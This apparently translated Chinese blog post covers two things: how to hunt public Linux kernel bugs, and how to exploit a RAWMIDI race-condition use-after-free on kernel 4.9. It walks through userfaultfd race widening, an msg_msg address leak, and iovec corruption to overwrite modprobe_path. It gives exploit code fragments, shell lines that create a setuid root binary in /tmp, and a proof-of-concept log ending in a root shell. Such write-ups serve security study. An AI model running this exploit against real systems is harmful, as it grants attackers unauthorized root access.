|
介绍
我一直在寻找一个漏洞,可以在 "真实" 场景中练习,我在上一节课中学到的关于 Linux 内核漏洞利用的知识。由于我有一个星期的时间在 Hacktive Security 中投入时间来深化一个特定的论点,所以决定搜索一个没有公开利用的漏洞来开发。在快速介绍了我如何发现已知漏洞之后,我将详细介绍导致 Linux 内核 4.9 中的释放后使用的竞争条件的利用阶段。
本篇文章包含两部分:
- 漏洞搜寻:关于公共资源以识别 Linux 内核中的已知漏洞,以便在现实场景中练习一些内核利用,这些资源包括:BugZilla、SyzBot、更改日志和 git 日志;
- 内核利用:该漏洞是导致写入释放后使用的竞争条件,使用 userfaultd 技术处理来自用户空间的页面错误并使用 msg_msg 泄漏内核地址和 I/O 向量以获得写入原始数据,从而扩展了竞争窗口。使用 write 原始数据,modprobe_path 全局变量已被覆盖并弹出一个 root shell。
公开漏洞
我问自己的第一件事是:如何找到适合的 Bug?排除了通过 CVE 搜索它,因为并非所有漏洞都有指定的 CVE (通常它们是最 "著名" 的漏洞),那时候我使用了最强大的黑客技能:谷歌搜索。这让我想到了今天我想分享的各种资源,首先说这只是我个人工作的结果,无法反映执行相同工作的最佳方式。也就是说,这就是我用来找到 "匹配的" Nday 的东西:
- Bugzilla
- SyzBot
- Changelogs
- Git log
内核变更日志绝对是我最喜欢的一个,但让我们对它们全部说几句。
BugZilla
BugZilla 是 报告 Linux 内核中错误 的标准方式。可以找到按子系统组织的有趣漏洞 (例如,使用 IPv4 和 IPv6 的网络或具有 ext* 类型的文件系统等),还可以搜索关键字 (例如 "overflow"、"heap"、"UAF" 等) 使用标准搜索或更高级的搜索。个人缺点是混合了许多 "非漏洞"、挂起之类的东西。此外,没有最强大的搜索选项 (例如一些 bash)。然而,它仍然是一个不错的选择,我个人确定了一些后来排除的漏洞。
Syzbot
"syzbot 是一个基于 syzkaller fuzzer 的连续模糊测试/报告系统" (介绍 syzbot 仪表板)。
不是最好的 GUI,但至少你可以有很多潜在的开放和修复的漏洞。没有内置搜索选项,但可以使用浏览器的搜索选项或使用 HTML 解析器解析 HTML。除了缺乏搜索之外,缺点之一是存在大量误报 (在 "开放部分" 中)。然而,好处是非常好的:你可以找到开放的漏洞 (仍未修复)、复制器 (C 或 syzlang)、修复的提交和报告的问题具有非常不言自明的 syzkaller 命名法。
Syzkaller-bugs (Google Group)
syz-bot 中缺少搜索功能的情况已被 "syzkaller-bugs" Google Group 很好地取代,可以从中找到 syz-bot 报告的错误以及来自评论部分和增强搜索栏的附加信息。我真的很喜欢这个选项!
Changelogs
这是我最喜欢的方法:从你想要的内核版本的内核 CDN 下载所有更新日志,可以使用你最喜欢的 bash 命令下载文件。这种方法类似于从 git 提交中搜索,但优点是速度更快。使用一些 bash-fu,可以使用以下内联下载目标内核版本 (例如 4.x) 的所有变更日志:URL=https://cdn.kernel.org/pub/linux/kernel/v4.x/ && 卷曲 $URL | grep“ChangeLog-4.9” | grep -v '.sign' | cut -d "\"" -f 2 | while read line; do wget "$URL/$line"; 完成。
下载完所有变更日志后,就可以通过 grep 查找 UAF、OOB、overflow 等有趣的关键字。我发现在所选关键字前后显示文本非常有用,例如:grep -A5 -B5 UAF *。 通过这种方式,可以立即获得有关漏洞详细信息、受影响的子系统、限制 …… 的快速信息。
对于每个已识别的漏洞,可以通过将补丁提交与前一个进行比较来查看其补丁 (需要来自 git 的 linux 源):git diff <commit before> <commit patch>。
Git 日志
如前所述,这是与 "Changelogs" 方法类似的方法。这个概念非常简单:克隆 github 存储库并在提交历史中搜索有趣的关键字,可以使用以下命令执行此操作:
- git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
- cd linux-stable
- git checkout -f <TAG -> # e.g. git checkout -f v4.9.316 (from https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git)
- git log > ../git.log
复制代码
这样可以在 git.log 文件上执行与以前相同的操作,然而,最大的缺点是文件太大并且需要更多时间 (4.9.316 上的 11.429.573 行)。这就是为什么我更喜欢 "Changelog" 方法的原因。
寻找一个好的漏洞
我正在寻找一个释放后使用漏洞,并开始在所有提到的资源中搜索它:BugZilla、SyzBot、Changelogs 和 git 历史。我将它们写在带有简历描述的表格中,以便稍后进一步分析它们。我开始深入研究他们中的一些人,查看他们的补丁和源代码,以了解可达性、编译依赖性和可利用性。我偶然发现了一个有趣的漏洞:RAWMIDI 接口中的漏洞 (c13f1463d84b86bedb664e509838bef37e6ea317 提交)。 我用 "Changelog" 方法发现了它,通过搜索 "UAF" 关键字阅读前后五行:grep -A5 -B5 UAF *。通过查看它的行为,确信该漏洞是在竞争条件下触发的 Use-After-Free。
RAWMIDI 接口
在面对这个漏洞之前,让我们看看这篇文章之后需要做的一些重要事情。易受攻击的驱动程序在 /dev/snd/midiC0D* (或基于平台的类似名称) 中作为字符设备公开,并依赖于 CONFIG_SND_RAWMIDI。它公开了以下文件操作:
- // https://elixir.bootlin.com/linux/v4.9.224/source/sound/core/rawmidi.c#L1507
- static const struct file_operations snd_rawmidi_f_ops =
- {
- .owner = THIS_MODULE,
- .read = snd_rawmidi_read,
- .write = snd_rawmidi_write,
- .open = snd_rawmidi_open,
- .release = snd_rawmidi_release,
- .llseek = no_llseek,
- .poll = snd_rawmidi_poll,
- .unlocked_ioctl = snd_rawmidi_ioctl,
- .compat_ioctl = snd_rawmidi_ioctl_compat,
- };
复制代码
我们感兴趣的是 open、write 和 unlocked_ioctl。
open
open (snd_rawmidi_open) 操作分配与设备交互所需的一切,但只需要知道的是第一次分配 snd_rawmidi_runtime->buffer 作为 GFP_KERNEL,大小为 4096 (PAGE_SIZE) 字节。这是 snd_rawmidi_runtime 结构:
- struct snd_rawmidi_runtime {
- struct snd_rawmidi_substream *substream;
- unsigned int drain: 1, /* drain stage */
- oss: 1; /* OSS compatible mode */
- /* midi stream buffer */
- unsigned char *buffer; /* buffer for MIDI data */
- size_t buffer_size; /* size of buffer */
- size_t appl_ptr; /* application pointer */
- size_t hw_ptr; /* hardware pointer */
- size_t avail_min; /* min avail for wakeup */
- size_t avail; /* max used buffer for wakeup */
- size_t xruns; /* over/underruns counter */
- /* misc */
- spinlock_t lock;
- wait_queue_head_t sleep;
- /* event handler (new bytes, input only) */
- void (*event)(struct snd_rawmidi_substream *substream);
- /* defers calls to event [input] or ops->trigger [output] */
- struct work_struct event_work;
- /* private data */
- void *private_data;
- void (*private_free)(struct snd_rawmidi_substream *substream);
- };
复制代码
write
从打开操作分配所有内容后,可以写入文件描述符,如 write(fd, &buf, 10)。这样,它会将 10 个字节填充到 snd_rawmidi_runtime->buffer 中,并使用 snd_rawmidi_runtime->appl_ptr 它将记住偏移量以便稍后再次开始写入。为了写入该缓冲区,驱动程序执行以下调用:snd_rawmidi_write => snd_rawmidi_kernel_write1 => copy_from_user
ioctl
snd_rawmidi_ioctl 负责处理 IOCTL 命令,我们感兴趣的是 SNDRV_RAWMIDI_IOCTL_PARAMS,它使用用户可控参数调用 snd_rawmidi_output_params:
- int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
- struct snd_rawmidi_params * params)
- {
- // [..] few checks
- if (params->buffer_size != runtime->buffer_size) {
- newbuf = kmalloc(params->buffer_size, GFP_KERNEL); //[1]
- if (!newbuf)
- return -ENOMEM;
- spin_lock_irq(&runtime->lock);
- oldbuf = runtime->buffer;
- runtime->buffer = newbuf; // [2]
- runtime->buffer_size = params->buffer_size;
- runtime->avail = runtime->buffer_size;
- runtime->appl_ptr = runtime->hw_ptr = 0;
- spin_unlock_irq(&runtime->lock);
- kfree(oldbuf); //[3]
- }
- // [..]
- }
复制代码
此 IOCTL 对于此漏洞至关重要,使用此命令,可以使用任意值重新分配内部缓冲区,然后用旧缓冲区替换该缓冲区,后者将被释放。
漏洞分析
该漏洞已被提 "c13f1463d84b86bedb664e509838bef37e6ea317" 修补,在目标易受攻击的缓冲区上引入了一个引用计数器。为了了解漏洞存在的位置,最好查看它的补丁:
- diff --git a/include/sound/rawmidi.h b/include/sound/rawmidi.h
- index 5432111c8761..2a87128b3075 100644
- --- a/include/sound/rawmidi.h
- +++ b/include/sound/rawmidi.h
- @@ -76,6 +76,7 @@ struct snd_rawmidi_runtime {
- size_t avail_min; /* min avail for wakeup */
- size_t avail; /* max used buffer for wakeup */
- size_t xruns; /* over/underruns counter */
- + int buffer_ref; /* buffer reference count */
- /* misc */
- spinlock_t lock;
- wait_queue_head_t sleep;
- diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c
- index 358b6efbd6aa..481c1ad1db57 100644
- --- a/sound/core/rawmidi.c
- +++ b/sound/core/rawmidi.c
- @@ -108,6 +108,17 @@ static void snd_rawmidi_input_event_work(struct work_struct *work)
- runtime->event(runtime->substream);
- }
-
- +/* buffer refcount management: call with runtime->lock held */
- +static inline void snd_rawmidi_buffer_ref(struct snd_rawmidi_runtime *runtime)
- +{
- + runtime->buffer_ref++;
- +}
- +
- +static inline void snd_rawmidi_buffer_unref(struct snd_rawmidi_runtime *runtime)
- +{
- + runtime->buffer_ref--;
- +}
- +
- static int snd_rawmidi_runtime_create(struct snd_rawmidi_substream *substream)
- {
- struct snd_rawmidi_runtime *runtime;
- @@ -654,6 +665,11 @@ int snd_rawmidi_output_params(struct snd_rawmidi_substream *substream,
- if (!newbuf)
- return -ENOMEM;
- spin_lock_irq(&runtime->lock);
- + if (runtime->buffer_ref) {
- + spin_unlock_irq(&runtime->lock);
- + kfree(newbuf);
- + return -EBUSY;
- + }
- oldbuf = runtime->buffer;
- runtime->buffer = newbuf;
- runtime->buffer_size = params->buffer_size;
- @@ -962,8 +978,10 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
- long result = 0, count1;
- struct snd_rawmidi_runtime *runtime = substream->runtime;
- unsigned long appl_ptr;
- + int err = 0;
-
- spin_lock_irqsave(&runtime->lock, flags);
- + snd_rawmidi_buffer_ref(runtime);
- while (count > 0 && runtime->avail) {
- count1 = runtime->buffer_size - runtime->appl_ptr;
- if (count1 > count)
- @@ -982,16 +1000,19 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream,
- if (userbuf) {
- spin_unlock_irqrestore(&runtime->lock, flags);
- if (copy_to_user(userbuf + result,
- - runtime->buffer + appl_ptr, count1)) {
- - return result > 0 ? result : -EFAULT;
- - }
- + runtime->buffer + appl_ptr, count1))
- + err = -EFAULT;
- spin_lock_irqsave(&runtime->lock, flags);
- + if (err)
- + goto out;
- }
- result += count1;
- count -= count1;
- }
- + out:
- + snd_rawmidi_buffer_unref(runtime);
- spin_unlock_irqrestore(&runtime->lock, flags);
- - return result;
- + return result > 0 ? result : err;
- }
-
- long snd_rawmidi_kernel_read(struct snd_rawmidi_substream *substream,
- @@ -1262,6 +1283,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
- return -EAGAIN;
- }
- }
- + snd_rawmidi_buffer_ref(runtime);
- while (count > 0 && runtime->avail > 0) {
- count1 = runtime->buffer_size - runtime->appl_ptr;
- if (count1 > count)
- @@ -1293,6 +1315,7 @@ static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream,
- }
- __end:
- count1 = runtime->avail < runtime->buffer_size;
- + snd_rawmidi_buffer_unref(runtime);
复制代码
添加了两个函数:snd_rawmidi_buffer_ref 和 snd_rawmidi_buffer_unref。它们分别用于在复制 (snd_rawmidi_kernel_read1) 或写入 (snd_rawmidi_kernel_write1) 到该缓冲区时使用 snd_rawmidi_runtime->buffer_ref 获取和删除对缓冲区的引用。但为什么需要这个? 因为由 snd_rawmidi_kernel_write1 和 snd_rawmidi_kernel_read1 处理的读取和写入操作在从/向用户空间复制期间使用 spin_unlock_irqrestore/spin_lock_irqrestore 暂时解锁运行时锁,从而提供一个小的竞争窗口,可以在 copy_from_user 调用期间修改对象:
- static long snd_rawmidi_kernel_write1(struct snd_rawmidi_substream *substream, const unsigned char __user *userbuf, const unsigned char *kernelbuf, long count) {
- // [..]
- spin_unlock_irqrestore(&runtime->lock, flags); // [1]
- if (copy_from_user(runtime->buffer + appl_ptr,
- userbuf + result, count1)) {
- spin_lock_irqsave(&runtime->lock, flags);
- result = result > 0 ? result : -EFAULT;
- goto __end;
- }
- spin_lock_irqsave(&runtime->lock, flags); // [2]
- // [..]
- }
复制代码
如果并发线程使用 SNDRV_RAWMIDI_IOCTL_PARAMS ioctl 重新分配运行时-> 缓冲区,则该线程可以从 spin_lock_irq 锁定对象 (在 snd_rawmidi_kernel_write1 给出的小竞争窗口中已保持解锁状态) 并释放该缓冲区,使得重新分配任意对象并在其上写入成为可能。此外,snd_rawmidi_output_params 中的 kmalloc 是使用完全用户可控的 params->buffer_size 调用的。
- int `snd_rawmidi_output_params`(struct snd_rawmidi_substream *substream,
- struct snd_rawmidi_params * params)
- {
- // [..]
- if (params->buffer_size != runtime->buffer_size) {
- newbuf = kmalloc(params->buffer_size, GFP_KERNEL); // [3]
- if (!newbuf)
- return -ENOMEM;
- spin_lock_irq(&runtime->lock); // [1]
- oldbuf = runtime->buffer;
- runtime->buffer = newbuf;
- runtime->buffer_size = params->buffer_size;
- runtime->avail = runtime->buffer_size;
- runtime->appl_ptr = runtime->hw_ptr = 0;
- spin_unlock_irq(&runtime->lock);
- kfree(oldbuf); // [3]
- }
- // [..]
- }
复制代码
如果当一个线程使用 copy_from_user 写入缓冲区时,另一个线程使用 SNDRV_RAWMIDI_IOCTL_PARAMS ioctl 释放该缓冲区并重新分配一个新的任意缓冲区,会发生什么情况? 该对象被一个新对象替换,copy_from_user 将继续写入另一个对象 ("受害者对象"),破坏其值 => User-After-Free (Write)。
这个漏洞真正好的部分是你可以拥有的 "自由":
- 可以调用任意大小的 kmalloc (这将是我们要替换的释放对象以导致 UAF),这意味着我们可以将我们最喜欢的 slab 缓存作为目标 (基于我们的需要,ofc);
- 可以使用 write 系统调用在缓冲区中写入尽可能多的内容;
延长 race 时间窗口
我们知道在将数据从用户空间复制到内核时,有一个小的 race 窗口,指令很少,如前所述,但好消息是我们有一个 copy_from_user 可以任意暂停处理用户空间中的页面错误!由于是在 4.9 内核 (4.9.223) 中利用该漏洞,因此 userfaultd 仍然不像 >5.11 那样没有特权,仍然可以使用它来延长 race 窗口并有必要的时间来重新分配缓冲区!
开发计划
我们声明我们将使用 userfaultd 技术来延长时间 race,如果你不熟悉此技术,请参阅 此处、此 视频 (可以使用字幕) 和 此处。总结一下:可以从用户空间处理页面错误,在处理页面错误时暂时阻止内核执行。如果我们用 MAP_ANONYMOUS 标志映射一个内存块,内存将被需求零分页,这意味着它还没有分配,可以通过 userfaultd 分配它。
- 使用 open => 初始化 runtime->buffer 这将分配 4096 大小的缓冲区 (这将落在 kmalloc-4096 中);
- 发送 SNDRV_RAWMIDI_IOCTL_PARAMS ioctl 命令以重新分配我们所需大小的缓冲区;
- 使用 mmap 分配请求零分页 (MAP_ANON) 并初始化 userfaultd 以处理其页面错误;
- 使用我们之前分配的 mmaped 内存写入 rawmidi 文件描述符 => 这将触发 copy_from_user 中的用户空间页面错误;
- 当内核线程挂起等待用户空间页面错误时,我们可以再次发送 SNDRV_RAWMIDI_IOCTL_PARAMS 以释放当前运行时->缓冲区;
- 例如,在 kmalloc-32 中分配一个对象,如果之前对该缓存进行了一些喷射,它将取代之前释放的运行时->缓冲区;
- 从 userland 释放页面错误,copy_from_user 将继续将其数据 (完全在用户控制下) 写入新分配的对象;
使用这个 primitive,我们可以伪造具有任意大小 (在 write 系统调用中指定)、任意内容、任意偏移量 (因为我们可以在两个页面之间触发 userfaultd,如后文所示) 和任意缓存 (我们可以控制大小分配的任意对象) SNDRV_RAWMIDI_IOCTL_PARAMS 读写控制)。
信息泄露
Victim Object
我们将使用我们之前在 "开发计划" 部分中解释的内容来泄漏我们将重新使用的地址以进行任意写入。由于可以选择哪个缓存触发 UAF (从开发的角度来看这是黄金),我选择泄漏指向内核 .data 部分中的 init_ipc_ns 的 shm_file_data->ns 指针,它位于 kmalloc-32 (我也使用相同的函数来喷射 kmalloc-32 缓存):
- void alloc_shm(int i)
- {
- int shmid[0x100] = {0};
- void *shmaddr[0x100] = {0};
- shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
- if (shmid[i] < 0) errExit("shmget");
- shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
- if (shmaddr[i] < 0) errExit("shmat");
- }
- alloc_shm(1)
复制代码
从该指针,我们将推断出 modprobe_path 的指针,以便稍后使用该技术来提升我们的特权。
msg_msg
- struct msg_msg {
- struct list_head m_list;
- long m_type;
- size_t m_ts; /* message text size */
- struct msg_msgseg *next;
- void *security;
- /* the actual message follows immediately */
- };
- struct msg_msgseg {
- struct msg_msgseg *next;
- /* the next part of the message follows immediately */
- };
复制代码
然而,为了泄露该地址,我们必须妥协 kmalloc-32 中的其他一些对象,可能是一个会在其自身对象之后读取的长度字段。对于这种情况,msg_msg 是我们的完美匹配,因为它在其 msg_msg->m_ts 中指定了一个长度字段,并且它可以分配到从 kmalloc-32 到 kmalloc-4096 的几乎任何缓存中,只有一个缺点:最小分配 msg_msg 结构是 48 (sizeof(struct msg_msg)) 并且它可以在 kmalloc-64 处达到最小值。
如果你想阅读更多关于这个结构的信息,你可以查看 Fire of Salvation Writeup、Wall Of Perdition 和内核源代码。
但是,当使用大小大于 DATALEN_MSG (((size_t)PAGE_SIZE-sizeof(struct msg_msg)))(即 4096-48)的 msgsnd 发送消息时,分配一个段 (或多个段,如果需要),并且消息是 在 msg_msg (有效载荷就在结构头之后) 和 msg_msgseg 之间拆分,消息的总大小在 msg_msg->m_ts 中指定。
为了在 kmalloc-32 中分配我们的目标对象,我们必须发送一条大小为:( ( 4096 – 48 ) + 10 ) 的消息。
msg_msg 结构将在 kmalloc-4096 中分配,前 (4096 – 48) 个字节将写入 msg_msg 结构。
要分配剩余的 10 个字节,将在 kmalloc-32 中分配一个段 msg_msgseg
在这些条件下,我们可以在 kmalloc-4096 中伪造 msg_msg 结构,用我们的 UAF 覆盖它的 m_ts 值,并且使用 msgrcv 我们可以收到一条消息,其中包含超过我们在 kmalloc-32 中分配的段的值 (包括我们的目标 init_ipc_ns 指针)。
处理偏移
但是,我们想要覆盖 m_ts 值而不覆盖 msg_msg 结构中的任何其他内容,我们该怎么做呢?
如果你还记得的话,我说过我们可以覆盖具有任意大小、内容和偏移量的块。如果创建一个大小为 PAGE_SIZE * 2 (两页) 的 mmap 内存并且我们只处理第二页的页面错误,我们可以开始写入原始运行时->缓冲区并在收到 msg_msg-> 时触发页面错误 m_ts 偏移量 (0x18)。现在内核线程被阻塞,可以用 msg_msg 替换对象,当 copy_from_user 恢复时,它将开始准确地写入剩余字节的 msg_msg->m_ts 值。我们写入文件描述符的大小是 (0x18 + 0x2),因为第一个 0x18 字节将用于精确偏移,而剩余的 2 个字节将在 msg_msg->m_ts 中写入 0xffff,下图也解释了这个概念:
现在,根据从 msgrcv 接收到的消息,我们可以从 shm_file_data 中检索 init_ipc_ns 指针,可以推断出 modprobe_path 地址,计算其偏移量并继续进行任意写入阶段。
任意写入
为了在任意位置写入,我们使用上述相同的 userfault 技术,但不是针对 msg_msg,我们将使用 Vectored I/O (pipe + iovec)。已在内核 4.13 中通过 copyin 和 copyout 包装器以及 access_ok 附加项得到修复。该技术已被广泛用于利用 Android Binder CVE-2019-2215,并在此处和此处进行了详细说明。
这个想法是再次触发 UAF 但针对 iovec 结构:
- struct iovec
- {
- void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */
- __kernel_size_t iov_len; /* Must be size_t (1003.1g) */
- };
复制代码
iovec 的最小分配发生在 sizeof(struct iovec) * 9 或 16 * 9 (144) 处,它将落在 kmalloc-192 (否则它存储在堆栈中)。但是,我选择使用 readv 分配 13 个向量,以使对象落在 kmalloc-256 中。
- int pipefd[2];
- pipe(pipefd)
- // [...]
- struct iovec iov_read_buffers[13] = {0};
- char read_buffer0[0x100];
- memset(read_buffer0, 0x52, 0x100);
- iov_read_buffers[0].iov_base = read_buffer0;
- iov_read_buffers[0].iov_len= 0x10;
- iov_read_buffers[1].iov_base = read_buffer0;
- iov_read_buffers[1].iov_len= 0x10;
- iov_read_buffers[8].iov_base = read_buffer0;
- iov_read_buffers[8].iov_len= 0x10;
- iov_read_buffers[12].iov_base = read_buffer0;
- iov_read_buffers[12].iov_len= 0x10;
- if(!fork()){
- ssize_t readv_res = readv(pipefd[0], iov_read_buffers, 13); // 13 * 16 = 208 => kmalloc-256
- exit(0);
- }
复制代码
readv 是一个阻塞调用,它保留 (不释放) 内核中的对象,以便我们可以使用 UAF 破坏它,并在以后使用任意修改的内容重新使用它。如果破坏 iovec 结构的 iov_base,可以使用写系统调用在任意内核地址写入,因为它使用不安全的 __copy_from_user (与 copy_from_user 相同,但没有检查)。
我们的想法是:
- 使用 SNDRV_RAWMIDI_IOCTL_PARAMS 调整 runtime->buffer 的大小,以便以大于 192 的大小登陆到 kmalloc-256
- 写入指定零请求分页内存 (MAP_ANON) 的文件描述符,以便 copy_from_user 将停止执行,等待我们的用户态页面错误处理程序
- 当内核线程等待时,再次使用重新调整大小的 ioctl 命令 SNDRV_RAWMIDI_IOCTL_PARAMS 释放缓冲区
- 使用 readv 分配 iovec 结构,它将替换之前分配的 runtime->buffer
- 恢复内核执行释放页面错误处理程序。 现在 copy_from_user 将开始写入 iovec 结构,我们将用 modprobe_path 地址覆盖 iov[1].iov_base。
- 现在,为了覆盖 modprobe_path 值,我们只需使用写入系统调用将任意内容写入管道 [0]。 在已发布的漏洞中,我使用之前描述的与相邻页面相同的技术覆盖了第二个 iov 条目 (iov[1])。 但是,也可以直接覆盖第一个 iov[0].iov_base。
好的 ! 现在我们已经用 /tmp/x 覆盖了 modprobe_path 并且..是时候弹出一个 shell 了!
modprobe_path & uid=0
如果你不熟悉 modprobe_path,我建议你查看在 Linux 内核中利用 timerfd_ctx 对象和手册页。总而言之,modprobe_path 是一个全局变量,默认值为 /sbin/modprobe,call_usermodehelper_exec 使用它来执行用户空间程序,以防执行带有未知标头的程序。由于已经用 /tmp/x 覆盖了 modprobe_path,所以当执行具有未知标头的文件时,我们的可控脚本将以 root 身份执行。
这些是准备并稍后执行 suid shell 的漏洞利用函数:
- void prep_exploit(){
- system("echo '#!/bin/sh' > /tmp/x");
- system("echo 'touch /tmp/pwneed' >> /tmp/x");
- system("echo 'chown root: /tmp/suid' >> /tmp/x");
- system("echo 'chmod 777 /tmp/suid' >> /tmp/x");
- system("echo 'chmod u+s /tmp/suid' >> /tmp/x");
- system("echo -e '\xdd\xdd\xdd\xdd\xdd\xdd' > /tmp/nnn");
- system("chmod +x /tmp/x");
- system("chmod +x /tmp/nnn");
- }
- void get_root_shell(){
- system("/tmp/nnn 2>/dev/null");
- system("/tmp/suid 2>/dev/null");
- }
- int main(){
- prep_exploit();
- // [..] exploit stuff
- get_root_shell(); // pop a root shell
- }
复制代码
该漏洞的作用是简单地创建 /tmp/x 二进制文件,该二进制文件将 suid 作为根目录放入 /tmp/suid 中的文件,并创建一个具有未知标头 (/tmp/nnn) 的文件,该文件将作为 /tmp 的根目录触发执行 /x 来自 call_usermodehelper_exec。之后,/tmp/suid 赋予 root 权限并生成 root shell。
POC:
- / $ uname -a
- Linux (none) 4.9.223 #3 SMP Wed Jun 1 23:15:02 CEST 2022 x86_64 GNU/Linux
- / $ id
- uid=1000(user) gid=1000 groups=1000
- / $ /main
- [*] Starting exploitation ..
- [+] userfaultfd registered
- [*] First write to init substream..
- [*] Resizing buffer_size to 4096 ..
- [*] snd_write triggered (should fault)
- [*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS
- [+] Page Fault triggered for 0x5551000!
- s -l[*] Replacing freed obj with msg_msg .
- [*] Waiting for userfaultd to finish ..
- [*] Page fault thread terminated
- [+] Page fault lock released
- [+] init_ipc_ns @0xffffffff81e8d560
- [+] calculated modprobe_path @0xffffffff81e42a00
- [+] Starting the arbitrary write phase ..
- [*] Closing and reopening re-opening rawmidi fd ..
- [+] userfaultfd registered
- [*] First write to init substream..
- [*] Resizing buffer_size to land into kmalloc-256 ..
- [*] snd_write triggered (should fault)
- [*] Freeing buf from SNDRV_RAWMIDI_IOCTL_PARAMS
- [+] Page Fault triggered for 0x7771000!
- [*] Waiting for readv ..
- [*] Page fault thread terminated
- [+] Page fault lock released
- [*] Writing into the pipe ..
- [*] write = 24
- [+] enjoy your r00t shell [:
- / # id
- uid=0(root) gid=0 groups=1000
- / #
复制代码
结论
我说明了使用公共资源查找公共漏洞的经验以练习一些 linux 内核利用。一旦确定了一个好的候选者,我就开发了一个 4.9 内核的漏洞,实现了任意读写。使用这些 primitives,生成了一个 root shell。
你可以在这里找到整个漏洞利用:https://github.com/kiks7/CVE-2020-27786-Kernel-Exploit
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|